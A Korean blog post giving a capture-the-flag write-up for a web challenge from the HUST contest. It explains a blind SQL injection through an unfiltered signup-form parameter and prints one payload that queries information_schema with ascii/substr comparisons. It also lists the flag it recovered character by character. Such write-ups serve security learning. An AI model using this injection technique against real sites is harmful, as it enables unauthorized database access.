안녕하세요 sweetchip입니다.
한달전 치뤄진 hust의 문제중 웹문제를 풀이해보려 합니다.
sql injection 문제인데, 상당히 많은 곳에서 헤맷네요 ㅋㅋ
이 페이지는 가입 페이지입니다.
원래 문제는 로그인 페이지 등등 여러개가 있엇는데, 이부분에서 취약점이 일어나서 이부분만 캡쳐했습니다.
제가 확인한것은 SEX 부분에서 필터링 부재로 인한 blind Sql Injection 취약점이 나타나게 됩니다.
문제는 아무 힌트가 없엇던 상태에서 어떻게 하는거냐엿는데
스키마가 필터링 되어있지 않아서 information_schema.columns 를 이용했습니다.
HOBBY_STR=1//&USER_ID=p&USER_PWD=p&USER_PWD_CHK=p&SEX=1=(if((select ascii(substr(COLUMN_NAME,6,1)) from information_schema.COLUMNS where TABLE_NAME = '[임의 삭제]' limit 1,1)>112,2,1))&MARRY=N&HOBBY=1
하지만 이것도 삽질만 하다가 포기.
그리고 잠시뒤 힌트가 나온뒤 다시한번 시도했습니다.
힌트의 내용은 'war_key' 가 테이블 이름이었습니다.
information_schema에 다시한번 blind sql injection 을 시도했습니다.
그 결과 키가 담겨 있는것이라 추측되는 칼럼의 이름도 똑같이 'war_key' 라는 것을 알아냈고 즉시 blind sql injection 을 시도했습니다.
C#으로 자동화 툴을 만들어서 인젝션을 시도했습니다.
직접 아스키 코드와 비교하면서... ㅋㅋ
그 결과.. 꽤나 많은 글자가 나온것을 본순간..;
약간의 멘붕과 함께 답을 인증했습니다.
80 P
114 r
101 e
115 s
105 i
100 d
101 e
110 n
116 t
95 _
111 o
102 f
95 _
72 H
85 U
83 S
84 T
95 _
105 i
115 s
95 _
66 B
111 o
116 t
104 h
101 e
114 r
95 _
77 M
101 e
Password Is President_of_HUST_is_Bother_Me
감사합니다.
새해첫 포스팅이네요
새해복 많이 받으세요
Secuinside 2013 Secure web write-up (0) | 2013.05.29 |
---|---|
webhacking.kr All Clear (5) | 2013.05.19 |
webhacking.kr 2번 그리고 13번 (9) | 2012.12.07 |
webhacking.kr 29번 (8) | 2012.12.05 |
webhacking.kr 40번 (11) | 2012.11.29 |